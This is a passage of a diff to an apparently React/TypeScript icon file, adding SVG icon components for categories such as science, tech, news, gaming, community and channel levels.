),
|
||||
[ICONS.SCIENCE]: (props: CustomProps) => (
|
||||
<svg
|
||||
{...props}
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="-3 0 24 24"
|
||||
width={props.size || '16'}
|
||||
height={props.size || '18'}
|
||||
fill="none"
|
||||
strokeWidth="1.5"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
>
|
||||
<path d="M0.767018182,20.022 C0.300109091,20.6874545 0.243381818,21.558 0.618654545,22.2801818 C0.995018182,23.0012727 1.7412,23.454 2.55501818,23.454 L14.8997455,23.454 C15.7135636,23.454 16.4597455,23.0012727 16.8350182,22.2801818 C17.2113818,21.558 17.1535636,20.6874545 16.6877455,20.022 L11.4546545,11.454 L11.4546545,2.72672727 L6.00010909,2.72672727 L6.00010909,11.454 L0.767018182,20.022 L0.767018182,20.022 Z" />
|
||||
<path d="M13.6363636,1.63636364 C13.6363636,2.23963636 13.1487273,2.72727273 12.5454545,2.72727273 L4.90909091,2.72727273 C4.30581818,2.72727273 3.81818182,2.23963636 3.81818182,1.63636364 C3.81818182,1.03309091 4.30581818,0.545454545 4.90909091,0.545454545 L12.5454545,0.545454545 C13.1487273,0.545454545 13.6363636,1.03309091 13.6363636,1.63636364 L13.6363636,1.63636364 Z" />
|
||||
<line x1="11.4545455" y1="4.90909091" x2="9.27272727" y2="4.90909091" id="Stroke-8219" strokeLinecap="round" />
|
||||
<line x1="11.4545455" y1="9.27272727" x2="9.27272727" y2="9.27272727" id="Stroke-8220" strokeLinecap="round" />
|
||||
<line x1="11.4545455" y1="7.09090909" x2="8.18181818" y2="7.09090909" id="Stroke-8221" strokeLinecap="round" />
|
||||
<line x1="3.27272727" y1="15.8181818" x2="14.1818182" y2="15.8181818" id="Stroke-8222" />
|
||||
<path
|
||||
d="M13.0909091,21.2727273 C13.0909091,21.5738182 12.8465455,21.8181818 12.5454545,21.8181818 C12.2443636,21.8181818 12,21.5738182 12,21.2727273 C12,20.9716364 12.2443636,20.7272727 12.5454545,20.7272727 C12.8465455,20.7272727 13.0909091,20.9716364 13.0909091,21.2727273 L13.0909091,21.2727273 Z"
|
||||
id="Stroke-8223"
|
||||
strokeLinecap="round"
|
||||
/>
|
||||
<path
|
||||
d="M10.3636364,18.2727273 C10.3636364,18.4232727 10.2414545,18.5454545 10.0909091,18.5454545 C9.94036364,18.5454545 9.81818182,18.4232727 9.81818182,18.2727273 C9.81818182,18.1221818 9.94036364,18 10.0909091,18 C10.2414545,18 10.3636364,18.1221818 10.3636364,18.2727273 L10.3636364,18.2727273 Z"
|
||||
id="Stroke-8224"
|
||||
strokeLinecap="round"
|
||||
/>
|
||||
<path
|
||||
d="M7.63636364,19.6363636 C7.63636364,20.5396364 6.90327273,21.2727273 6,21.2727273 C5.09672727,21.2727273 4.36363636,20.5396364 4.36363636,19.6363636 C4.36363636,18.7330909 5.09672727,18 6,18 C6.90327273,18 7.63636364,18.7330909 7.63636364,19.6363636 L7.63636364,19.6363636 Z"
|
||||
id="Stroke-8225"
|
||||
strokeLinecap="round"
|
||||
/>
|
||||
</svg>
|
||||
),
|
||||
[ICONS.TECH]: (props: CustomProps) => (
|
||||
<svg
|
||||
{...props}
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="-5 0 24 24"
|
||||
width={props.size || '16'}
|
||||
height={props.size || '18'}
|
||||
fill="none"
|
||||
strokeWidth="1.5"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
>
|
||||
<path
|
||||
d="M13.5005,21.5 C13.5005,22.604 12.6055,23.5 11.5005,23.5 L2.5005,23.5 C1.3955,23.5 0.5005,22.604 0.5005,21.5 L0.5005,2.5 C0.5005,1.396 1.3955,0.5 2.5005,0.5 L11.5005,0.5 C12.6055,0.5 13.5005,1.396 13.5005,2.5 L13.5005,21.5 L13.5005,21.5 Z"
|
||||
id="Stroke-5155"
|
||||
strokeLinecap="round"
|
||||
/>
|
||||
<line x1="13.5005" y1="19.5" x2="0.5005" y2="19.5" id="Stroke-5156" strokeLinecap="round" />
|
||||
<line x1="13.5005" y1="4.5" x2="0.5005" y2="4.5" id="Stroke-5157" strokeLinecap="round" />
|
||||
<line x1="4.5005" y1="2.5" x2="9.5005" y2="2.5" id="Stroke-5158" strokeLinecap="round" />
|
||||
<path
|
||||
d="M7.0005,22 C6.7245,22 6.5005,21.776 6.5005,21.5 C6.5005,21.224 6.7245,21 7.0005,21 C7.2765,21 7.5005,21.224 7.5005,21.5 C7.5005,21.776 7.2765,22 7.0005,22 L7.0005,22 Z"
|
||||
id="Stroke-5159"
|
||||
/>
|
||||
</svg>
|
||||
),
|
||||
[ICONS.NEWS]: (props: CustomProps) => (
|
||||
<svg
|
||||
{...props}
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="0 0 24 24"
|
||||
width={props.size || '16'}
|
||||
height={props.size || '18'}
|
||||
fill="none"
|
||||
strokeWidth="1.5"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
>
|
||||
<line x1="3.5" y1="3.5" x2="14.5" y2="3.5" id="Stroke-6102" />
|
||||
<polygon id="Stroke-6103" points="3.5 12.5 8.5 12.5 8.5 6.5 3.5 6.5" />
|
||||
<line x1="11.5" y1="8.5" x2="14.5" y2="8.5" id="Stroke-6104" />
|
||||
<line x1="10.5" y1="10.5" x2="14.5" y2="10.5" id="Stroke-6105" />
|
||||
<line x1="10.5" y1="12.5" x2="14.5" y2="12.5" id="Stroke-6106" />
|
||||
<line x1="3.5" y1="14.5" x2="14.5" y2="14.5" id="Stroke-6107" />
|
||||
<line x1="3.5" y1="16.5" x2="14.5" y2="16.5" id="Stroke-6108" />
|
||||
<line x1="3.5" y1="18.5" x2="14.5" y2="18.5" id="Stroke-6109" />
|
||||
<path
|
||||
d="M19.5,5.5 L21.5,5.5 L21.5,20.5 C21.5,21.052 21.053,21.5 20.5,21.5 C19.948,21.5 19.5,21.052 19.5,20.5 L19.5,2 L17.5,2 L17.5,4"
|
||||
id="Stroke-6110"
|
||||
/>
|
||||
<path
|
||||
d="M20.5,23.5 L3.5,23.5 C1.844,23.5 0.5,22.157 0.5,20.5 L0.5,0.5 L17.5,0.5 L17.5,20.5 C17.5,22.157 18.844,23.5 20.5,23.5 C22.157,23.5 23.5,22.157 23.5,20.5 L23.5,3.5 L19.5,3.5"
|
||||
id="Stroke-6111"
|
||||
/>
|
||||
</svg>
|
||||
),
|
||||
[ICONS.FINANCE]: buildIcon(
|
||||
<g>
|
||||
<line x1="12" y1="1" x2="12" y2="23" />
|
||||
<path d="M17 5H9.5a3.5 3.5 0 0 0 0 7h5a3.5 3.5 0 0 1 0 7H6" />
|
||||
</g>
|
||||
),
|
||||
[ICONS.RABBIT_HOLE]: (props: CustomProps) => (
|
||||
<svg
|
||||
{...props}
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="0 0 24 24"
|
||||
width={props.size || '16'}
|
||||
height={props.size || '18'}
|
||||
fill="none"
|
||||
strokeWidth="1.5"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
>
|
||||
<polygon id="Stroke-7926" points="0.5 22.5205 12 0.5205 23.5 22.5205" />
|
||||
<path
|
||||
d="M14,15.5205 C14,16.6245 13.104,17.5205 12,17.5205 C10.896,17.5205 10,16.6245 10,15.5205 C10,14.4155 10.896,13.5205 12,13.5205 C13.104,13.5205 14,14.4155 14,15.5205 L14,15.5205 Z"
|
||||
id="Stroke-7927"
|
||||
/>
|
||||
<path
|
||||
d="M18.666,15.5205 C18.666,15.5205 16.666,19.5205 12,19.5205 C7.334,19.5205 5.334,15.5205 5.334,15.5205 C5.334,15.5205 7.334,11.5205 12,11.5205 C16.666,11.5205 18.666,15.5205 18.666,15.5205 L18.666,15.5205 Z"
|
||||
id="Stroke-7928"
|
||||
/>
|
||||
</svg>
|
||||
),
|
||||
[ICONS.ENLIGHTENMENT]: (props: CustomProps) => (
|
||||
<svg
|
||||
{...props}
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="-1 0 24 24"
|
||||
width={props.size || '16'}
|
||||
height={props.size || '18'}
|
||||
fill="none"
|
||||
strokeWidth="1.5"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
>
|
||||
<path
|
||||
d="M8.9258,14.3311 C2.4228,14.3311 3.0138,8.4191 3.0138,8.4191 C10.1078,8.4191 8.9258,14.3311 8.9258,14.3311 L8.9258,14.3311 Z"
|
||||
id="Stroke-5653"
|
||||
/>
|
||||
<path
|
||||
d="M13.0732,14.3311 C19.5762,14.3311 18.9852,8.4191 18.9852,8.4191 C11.8912,8.4191 13.0732,14.3311 13.0732,14.3311 L13.0732,14.3311 Z"
|
||||
id="Stroke-5654"
|
||||
/>
|
||||
<path
|
||||
d="M21.4995,10 C21.4995,16.352 13.9995,23 10.9995,23 C7.9995,23 0.4995,16.352 0.4995,10 C0.4995,3.648 4.6475,0.5 10.9995,0.5 C17.3505,0.5 21.4995,3.648 21.4995,10 L21.4995,10 Z"
|
||||
id="Stroke-5655"
|
||||
/>
|
||||
</svg>
|
||||
),
|
||||
[ICONS.GAMING]: (props: CustomProps) => (
|
||||
<svg
|
||||
{...props}
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="-2 -1 24 26"
|
||||
width={props.size || '18'}
|
||||
height={props.size || '16'}
|
||||
fill="none"
|
||||
strokeWidth="1.5"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
>
|
||||
<g>
|
||||
<path
|
||||
d="M17.5,9 C17.5,4.307 13.694,0.5 9,0.5 C4.306,0.5 0.5,4.307 0.5,9 L0.5,22.5 C0.5,23.051 0.95,23.5 1.5,23.5 L2,23.5 C2.551,23.5 3,23.051 3,22.5 C3,21.951 3.45,21.5 4,21.5 C4.551,21.5 5,21.951 5,22.5 C5,23.051 5.45,23.5 6,23.5 L7,23.5 C7.551,23.5 8,23.051 8,22.5 C8,21.951 8.45,21.5 9,21.5 C9.551,21.5 10,21.951 10,22.5 C10,23.051 10.45,23.5 11,23.5 L12,23.5 C12.551,23.5 13,23.051 13,22.5 C13,21.951 13.45,21.5 14,21.5 C14.551,21.5 15,21.951 15,22.5 C15,23.051 15.45,23.5 16,23.5 L16.5,23.5 C17.051,23.5 17.5,23.051 17.5,22.5 L17.5,9 L17.5,9 Z"
|
||||
id="Stroke-939"
|
||||
/>
|
||||
<path
|
||||
d="M13.5,12 C13.5,12.826 12.825,13.5 12,13.5 C11.176,13.5 10.5,12.826 10.5,12 L10.5,9 C10.5,8.176 11.176,7.5 12,7.5 C12.825,7.5 13.5,8.176 13.5,9 L13.5,12 L13.5,12 Z"
|
||||
id="Stroke-940"
|
||||
/>
|
||||
<path
|
||||
d="M11.5,11 C11.5,11.277 11.276,11.5 11,11.5 C10.724,11.5 10.5,11.277 10.5,11 C10.5,10.725 10.724,10.5 11,10.5 C11.276,10.5 11.5,10.725 11.5,11 L11.5,11 Z"
|
||||
id="Stroke-941"
|
||||
/>
|
||||
<path
|
||||
d="M7.5,12 C7.5,12.826 6.825,13.5 6,13.5 C5.176,13.5 4.5,12.826 4.5,12 L4.5,9 C4.5,8.176 5.176,7.5 6,7.5 C6.825,7.5 7.5,8.176 7.5,9 L7.5,12 L7.5,12 Z"
|
||||
id="Stroke-942"
|
||||
/>
|
||||
<path
|
||||
d="M5.5,11 C5.5,11.277 5.276,11.5 5,11.5 C4.724,11.5 4.5,11.277 4.5,11 C4.5,10.725 4.724,10.5 5,10.5 C5.276,10.5 5.5,10.725 5.5,11 L5.5,11 Z"
|
||||
id="Stroke-943"
|
||||
/>
|
||||
</g>
|
||||
</svg>
|
||||
),
|
||||
[ICONS.COMMUNITY]: (props: CustomProps) => (
|
||||
<svg
|
||||
{...props}
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="-2 -1 24 26"
|
||||
width={props.size || '18'}
|
||||
height={props.size || '18'}
|
||||
fill="none"
|
||||
strokeWidth="1.5"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
>
|
||||
<g>
|
||||
<path
|
||||
d="M0.5,5 L0.5,8 C0.5,12.694 3.806,16.5 8.5,16.5 C13.194,16.5 16.5,12.694 16.5,8 L16.5,5"
|
||||
id="Stroke-8485"
|
||||
/>
|
||||
<path
|
||||
d="M12,0.5 C14.485,0.5 16.5,2.515 16.5,5 C16.5,7.485 14.485,9.5 12,9.5 L5,9.5 C2.515,9.5 0.5,7.485 0.5,5 C0.5,2.515 2.515,0.5 5,0.5 L12,0.5 L12,0.5 Z"
|
||||
id="Stroke-8486"
|
||||
/>
|
||||
<path d="M5.1758,15.7891 C6.0938,12.1251 8.6878,10.1561 11.9998,9.5001" id="Stroke-8487" />
|
||||
<path d="M7.25,9.5 C5.316,9.5 3.75,7.934 3.75,6 C3.75,4.066 5.316,2.5 7.25,2.5 L10.5,2.5" id="Stroke-8488" />
|
||||
<path d="M10,0.5 C11.934,0.5 13.5,2.066 13.5,4 C13.5,5.934 11.934,7.5 10,7.5 L7,7.5" id="Stroke-8489" />
|
||||
<line x1="8.5" y1="16.5" x2="8.5" y2="23.5" id="Stroke-8490" />
|
||||
<line x1="8.5" y1="19.5" x2="11" y2="19.5" id="Stroke-8491" />
|
||||
<line x1="8.5" y1="22.5" x2="6" y2="22.5" id="Stroke-8492" />
|
||||
<path d="M9.5,5 C8.119,5 7,6.119 7,7.5" id="Stroke-8493" />
|
||||
</g>
|
||||
</svg>
|
||||
),
|
||||
[ICONS.UPVOTE]: buildIcon(
|
||||
<path d="M14 9V5a3 3 0 0 0-3-3l-4 9v11h11.28a2 2 0 0 0 2-1.7l1.38-9a2 2 0 0 0-2-2.3zM7 22H4a2 2 0 0 1-2-2v-7a2 2 0 0 1 2-2h3" />
|
||||
),
|
||||
@@ -1002,7 +1222,7 @@ export const icons = {
|
||||
<svg
|
||||
{...props}
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="-6 0 26 24"
|
||||
viewBox="0 0 26 24"
|
||||
width={props.size || '18'}
|
||||
height={props.size || '18'}
|
||||
fill="none"
|
||||
@@ -1015,4 +1235,445 @@ export const icons = {
|
||||
<path d="m 18.089706,2.6673324 c -0.458672,0 -0.914415,0.081053 -1.342833,0.2381801 -0.726068,-1.5175206 -2.625165,-2.67785413 -4.515474,-2.67785413 -1.902023,0 -3.8128297,1.16033353 -4.5408481,2.67785413 C 7.2621303,2.7483855 6.8063878,2.6673324 6.348691,2.6673324 c -2.1528256,0 -3.9045598,1.7507491 -3.9045598,3.9035835 0,2.0230385 1.4648199,3.6410591 3.4146614,3.8752841 v 8.262918 h 2.9276892 v -3.415632 c 0.00968,-0.26944 0.2273915,-0.487951 0.4977084,-0.487951 0.2693563,0 0.4879486,0.218539 0.4879486,0.487951 v 3.415632 h 1.9420352 v -4.391535 c 0,-0.269439 0.217626,-0.487951 0.487948,-0.487951 0.269357,0 0.487946,0.218539 0.487946,0.487951 v 4.391535 h 1.951795 v -3.415632 c 0.01964,-0.26944 0.238125,-0.487951 0.507465,-0.487951 0.270325,0 0.487949,0.218539 0.468432,0.487951 v 3.415632 h 2.927689 V 10.4462 c 1.980095,-0.234307 3.445891,-1.8522456 3.445891,-3.8752841 0,-2.1528344 -1.750758,-3.9035835 -3.901634,-3.9035835" />
|
||||
</svg>
|
||||
),
|
||||
[ICONS.ANONYMOUS]: buildIcon(
|
||||
<g>
|
||||
<path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z" />
|
||||
</g>
|
||||
),
|
||||
[ICONS.LIVESTREAM]: buildIcon(
|
||||
<g>
|
||||
<polygon points="23 7 16 12 23 17 23 7" />
|
||||
<rect x="1" y="5" width="15" height="14" rx="2" ry="2" />
|
||||
</g>
|
||||
),
|
||||
[ICONS.CHANNEL_LEVEL_1]: (props: CustomProps) => (
|
||||
<svg
|
||||
{...props}
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="0 0 26 24"
|
||||
width={props.size || '18'}
|
||||
height={props.size || '18'}
|
||||
fill="currentColor"
|
||||
stroke="currentColor"
|
||||
strokeWidth="0"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
>
|
||||
<path d="M12 4.32001L14.025 8.02501C14.4776 8.85522 15.1598 9.53744 15.99 9.99001L19.68 12L15.975 14.025C15.1448 14.4776 14.4626 15.1598 14.01 15.99L12 19.68L9.97501 15.975C9.52419 15.1524 8.84761 14.4758 8.02501 14.025L4.32001 12L8.02501 9.97501C8.84761 9.52419 9.52419 8.84761 9.97501 8.02501L12 4.32001Z" />
|
||||
</svg>
|
||||
),
|
||||
[ICONS.CHANNEL_LEVEL_2]: (props: CustomProps) => (
|
||||
<svg
|
||||
{...props}
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="0 0 26 24"
|
||||
width={props.size || '18'}
|
||||
height={props.size || '18'}
|
||||
fill="currentColor"
|
||||
stroke="currentColor"
|
||||
strokeWidth="0"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
>
|
||||
<path d="M15.705 7.31999L17.625 10.845C18.0591 11.6316 18.7099 12.2772 19.5 12.705L23.025 14.625L19.5 16.5C18.7154 16.9301 18.0701 17.5754 17.64 18.36L15.72 21.885L13.785 18.435C13.3625 17.6207 12.7106 16.9479 11.91 16.5L8.38499 14.64L11.91 12.705C12.7001 12.2772 13.3508 11.6316 13.785 10.845L15.705 7.31999ZM4.37999 4.31999C4.10558 4.81954 3.69454 5.23058 3.19499 5.50499L0.974991 6.67499L3.19499 7.88999C3.68451 8.14404 4.09453 8.5281 4.37999 8.99999L5.59499 11.22L6.80999 8.99999C7.0844 8.50045 7.49544 8.08941 7.99499 7.81499L10.215 6.59999L7.99499 5.44499C7.49544 5.17058 7.0844 4.75954 6.80999 4.25999L5.59499 2.05499L4.37999 4.31999Z" />
|
||||
</svg>
|
||||
),
|
||||
[ICONS.CHANNEL_LEVEL_3]: (props: CustomProps) => (
|
||||
<svg
|
||||
{...props}
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="0 0 24 24"
|
||||
width={props.size || '18'}
|
||||
height={props.size || '18'}
|
||||
fill="currentColor"
|
||||
stroke="currentColor"
|
||||
strokeWidth="0"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
>
|
||||
<path d="M12 7.95L13.92 11.475C14.3519 12.2672 15.0028 12.9181 15.795 13.35L19.32 15.27L15.795 17.19C15.0104 17.6201 14.3651 18.2654 13.935 19.05L12 22.59L10.08 19.065C9.64989 18.2804 9.00456 17.6351 8.22 17.205L4.68 15.27L8.205 13.35C8.99718 12.9181 9.64814 12.2672 10.08 11.475L12 7.95ZM3.57 3.705C3.29213 4.2198 2.8698 4.64213 2.355 4.92L0 6.18L2.34 7.5C2.8548 7.77788 3.27713 8.2002 3.555 8.715L4.815 10.95L6.075 8.655C6.36202 8.16237 6.78348 7.76173 7.29 7.5L9.585 6.24L7.29 4.92C6.7752 4.64213 6.35287 4.2198 6.075 3.705L4.815 1.41L3.57 3.705ZM17.625 3.825C17.3305 4.36309 16.8881 4.80555 16.35 5.1L13.935 6.42L16.35 7.74C16.8881 8.03446 17.3305 8.47692 17.625 9.015L18.945 11.43L20.265 9C20.5595 8.46191 21.0019 8.01946 21.54 7.725L24 6.42L21.54 5.1C21.0019 4.80555 20.5595 4.36309 20.265 3.825L18.945 1.41L17.625 3.825Z" />
|
||||
</svg>
|
||||
),
|
||||
[ICONS.CHANNEL_LEVEL_4]: (props: CustomProps) => (
|
||||
<svg
|
||||
{...props}
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="0 0 24 24"
|
||||
width={props.size || '18'}
|
||||
height={props.size || '18'}
|
||||
fill="currentColor"
|
||||
stroke="currentColor"
|
||||
strokeWidth="0"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
>
|
||||
<path d="M4.5 6.375L5.64 8.46C5.89614 8.92861 6.28139 9.31386 6.75 9.57L8.835 10.71L6.75 11.85C6.28139 12.1061 5.89614 12.4914 5.64 12.96L4.5 15L3.285 12.96C3.02886 12.4914 2.64361 12.1061 2.175 11.85L0.0899963 10.71L2.175 9.57C2.64361 9.31386 3.02886 8.92861 3.285 8.46L4.5 6.375ZM17.67 10.125C17.3718 10.6692 16.9242 11.1168 16.38 11.415L13.875 12.75L16.32 14.085C16.8642 14.3832 17.3118 14.8308 17.61 15.375L18.945 17.82L20.28 15.375C20.5782 14.8308 21.0258 14.3832 21.57 14.085L24 12.75L21.555 11.415C21.0108 11.1168 20.5632 10.6692 20.265 10.125L18.93 7.68L17.67 10.125ZM8.49 21C8.93984 21.2454 9.30955 21.6152 9.555 22.065L10.65 24L11.745 21.99C11.9975 21.5699 12.3608 21.2274 12.795 21L14.805 19.905L12.795 18.75C12.3451 18.5046 11.9754 18.1348 11.73 17.685L10.65 15.69L9.555 17.7C9.30955 18.1498 8.93984 18.5196 8.49 18.765L6.48 19.86L8.49 21ZM12.9 4.68C13.2986 4.8985 13.6265 5.22638 13.845 5.625L14.82 7.41L15.795 5.625C16.0135 5.22638 16.3414 4.8985 16.74 4.68L18.525 3.705L16.74 2.73C16.3414 2.5115 16.0135 2.18362 15.795 1.785L14.82 0L13.845 1.785C13.6265 2.18362 13.2986 2.5115 12.9 2.73L11.115 3.705L12.9 4.68Z" />
|
||||
</svg>
|
||||
),
|
||||
[ICONS.CHANNEL_LEVEL_5]: (props: CustomProps) => (
|
||||
<svg
|
||||
{...props}
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="0 0 24 24"
|
||||
width={props.size || '18'}
|
||||
height={props.size || '18'}
|
||||
fill="currentColor"
|
||||
stroke="currentColor"
|
||||
strokeWidth="0"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
>
|
||||
<path d="M12 4.89L13.875 8.31C14.291 9.07838 14.9216 9.70903 15.69 10.125L19.11 12L15.69 13.875C14.9216 14.291 14.291 14.9216 13.875 15.69L12 19.11L10.125 15.69C9.70903 14.9216 9.07838 14.291 8.31 13.875L4.89 12L8.31 10.125C9.07838 9.70903 9.70903 9.07838 10.125 8.31L12 4.89ZM3 1.89C2.76692 2.36024 2.3952 2.74767 1.935 3L0 4.005L1.935 5.055C2.38429 5.28744 2.75483 5.64753 3 6.09L4.05 8.025L5.1 6.09C5.33543 5.65943 5.68943 5.30543 6.12 5.07L8.055 4.02L6.09 3C5.65943 2.76457 5.30543 2.41057 5.07 1.98L4.005 0L3 1.89ZM18.975 1.89C18.7396 2.32057 18.3856 2.67457 17.955 2.91L16.02 3.96L17.955 5.01C18.3856 5.24543 18.7396 5.59943 18.975 6.03L20.025 7.965L21 6.09C21.2354 5.65943 21.5894 5.30543 22.02 5.07L24 4.005L22.065 3C21.6114 2.75957 21.2404 2.38858 21 1.935L19.995 0L18.975 1.89ZM3 17.91C2.76457 18.3406 2.41057 18.6946 1.98 18.93L0 19.995L1.935 21.045C2.36557 21.2804 2.71957 21.6344 2.955 22.065L4.005 24L5.055 22.065C5.28744 21.6157 5.64753 21.2452 6.09 21L8.025 19.95L6.09 18.9C5.65943 18.6646 5.30543 18.3106 5.07 17.88L4.02 15.945L3 17.91ZM18.975 17.91C18.7396 18.3406 18.3856 18.6946 17.955 18.93L16.02 19.98L17.955 21.03C18.3856 21.2654 18.7396 21.6194 18.975 22.05L20.025 23.985L21.075 22.05C21.3104 21.6194 21.6644 21.2654 22.095 21.03L24.03 19.98L22.095 18.93C21.6644 18.6946 21.3104 18.3406 21.075 17.91L20.025 15.975L18.975 17.91Z" />
|
||||
</svg>
|
||||
),
|
||||
[ICONS.WILD_WEST]: buildIcon(
|
||||
<g transform="matrix(1,0,0,1,0,0)">
|
||||
<path
|
||||
d="M12.546,23.25H11.454A10.7,10.7,0,0,1,2.161,7.235L3.75,4.453V2.25A1.5,1.5,0,0,1,5.25.75h3a1.5,1.5,0,0,1,1.5,1.5v3a2.988,2.988,0,0,1-.4,1.488L7.37,10.211a4.7,4.7,0,0,0,4.084,7.039h1.092a4.7,4.7,0,0,0,4.084-7.039L14.646,6.738a2.988,2.988,0,0,1-.4-1.488v-3a1.5,1.5,0,0,1,1.5-1.5h3a1.5,1.5,0,0,1,1.5,1.5v2.2l1.589,2.782A10.7,10.7,0,0,1,12.546,23.25Z"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth="1.5"
|
||||
/>
|
||||
<path
|
||||
d="M12,19.875a.375.375,0,0,1,.375.375"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth="1.5"
|
||||
/>
|
||||
<path
|
||||
d="M11.625,20.25A.375.375,0,0,1,12,19.875"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth="1.5"
|
||||
/>
|
||||
<path
|
||||
d="M12,20.625a.375.375,0,0,1-.375-.375"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth="1.5"
|
||||
/>
|
||||
<path
|
||||
d="M12.375,20.25a.375.375,0,0,1-.375.375"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth="1.5"
|
||||
/>
|
||||
<path
|
||||
d="M17.813,17.313a.375.375,0,0,1,.529-.024"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth="1.5"
|
||||
/>
|
||||
<path
|
||||
d="M17.836,17.843a.376.376,0,0,1-.023-.53"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth="1.5"
|
||||
/>
|
||||
<path
|
||||
d="M18.366,17.819a.375.375,0,0,1-.53.024"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth="1.5"
|
||||
/>
|
||||
<path
|
||||
d="M18.342,17.289a.375.375,0,0,1,.024.53"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth="1.5"
|
||||
/>
|
||||
<path
|
||||
d="M19.843,11.294a.376.376,0,0,1,.34-.407"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth="1.5"
|
||||
/>
|
||||
<path
|
||||
d="M20.25,11.634a.375.375,0,0,1-.407-.34"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth="1.5"
|
||||
/>
|
||||
<path
|
||||
d="M20.59,11.227a.374.374,0,0,1-.34.407"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth="1.5"
|
||||
/>
|
||||
<path
|
||||
d="M20.183,10.887a.375.375,0,0,1,.407.34"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth="1.5"
|
||||
/>
|
||||
<path
|
||||
d="M6.187,17.313a.375.375,0,0,0-.529-.024"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth="1.5"
|
||||
/>
|
||||
<path
|
||||
d="M6.164,17.843a.376.376,0,0,0,.023-.53"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth="1.5"
|
||||
/>
|
||||
<path
|
||||
d="M5.634,17.819a.375.375,0,0,0,.53.024"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth="1.5"
|
||||
/>
|
||||
<path
|
||||
d="M5.658,17.289a.375.375,0,0,0-.024.53"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth="1.5"
|
||||
/>
|
||||
<path
|
||||
d="M4.157,11.294a.376.376,0,0,0-.34-.407"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth="1.5"
|
||||
/>
|
||||
<path
|
||||
d="M3.75,11.634a.375.375,0,0,0,.407-.34"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth="1.5"
|
||||
/>
|
||||
<path
|
||||
d="M3.41,11.227a.374.374,0,0,0,.34.407"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth="1.5"
|
||||
/>
|
||||
<path
|
||||
d="M3.817,10.887a.375.375,0,0,0-.407.34"
|
||||
fill="none"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
strokeWidth="1.5"
|
||||
/>
|
||||
<path d="M20.25 4.5L18 4.5" fill="none" strokeLinecap="round" strokeLinejoin="round" strokeWidth="1.5" />
|
||||
<path d="M6 4.5L3.75 4.5" fill="none" strokeLinecap="round" strokeLinejoin="round" strokeWidth="1.5" />
|
||||
</g>
|
||||
),
|
||||
[ICONS.PEACE]: (props: CustomProps) => (
|
||||
<svg
|
||||
{...props}
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="0 0 24 24"
|
||||
width={props.size || '18'}
|
||||
height={props.size || '16'}
|
||||
fill="none"
|
||||
strokeWidth="1.5"
|
||||
strokeLinecap="round"
|
||||
strokeLinejoin="round"
|
||||
>
|
||||
<g transform="matrix(1,0,0,1,0,0)">
|
||||
<path
|
||||
